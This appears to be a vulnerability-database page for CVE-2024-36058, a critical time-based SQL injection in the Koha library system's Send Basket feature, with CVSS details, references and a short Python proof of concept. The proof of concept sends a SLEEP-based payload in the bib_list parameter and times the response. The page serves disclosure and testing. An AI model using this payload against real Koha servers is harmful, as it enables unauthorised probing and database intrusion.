CVE-2024-36058

Description

The Send Basket functionality in Koha Library before 23.05.10 is susceptible to Time-Based SQL Injection because it fails to sanitize the POST parameter bib_list in /cgi-bin/koha/opac-sendbasket.pl, allowing library users to read arbitrary data from the database.

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Koha Library < 23.05.10

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import time

def check_sqli(url):
    target_endpoint = f"{url}/cgi-bin/koha/opac-sendbasket.pl"
    
    # Payload testing time-based blind SQL injection
    # If the database takes 5 seconds to respond, the condition is likely True
    payload = {
        "bib_list": "1' AND (SELECT SLEEP(5))-- -"
    }

    try:
        start_time = time.time()
        response = requests.post(target_endpoint, data=payload, timeout=10)
        end_time = time.time()
        
        response_time = end_time - start_time
        
        if response_time >= 5:
            print(f"[+] Vulnerability detected! Response time: {response_time:.2f}s")
        else:
            print(f"[-] Not vulnerable or patched. Response time: {response_time:.2f}s")
            
    except requests.exceptions.RequestException as e:
        print(f"Error connecting to target: {e}")

if __name__ == "__main__":
    target_ip = "http://127.0.0.1" # Replace with target URL
    check_sqli(target_ip)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2024-36058
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2024-36058
[3] CVE Details https://www.cvedetails.com/cve/CVE-2024-36058/
[4] VulDB https://vuldb.com/cve/CVE-2024-36058
[5] https://github.com/hacklantic/Research/tree/main/CVE-2024-36058
[6] https://gitlab.com/koha-community/Koha/-/blob/23.05.x/misc/release_notes/release_notes_23_05_10.md
[7] https://gitlab.com/koha-community/Koha/-/blob/23.05.x/misc/release_notes/release_notes_23_05_11.md
[8] https://koha-community.org/koha-22-05-22-released/

Raw JSON Data

JSON

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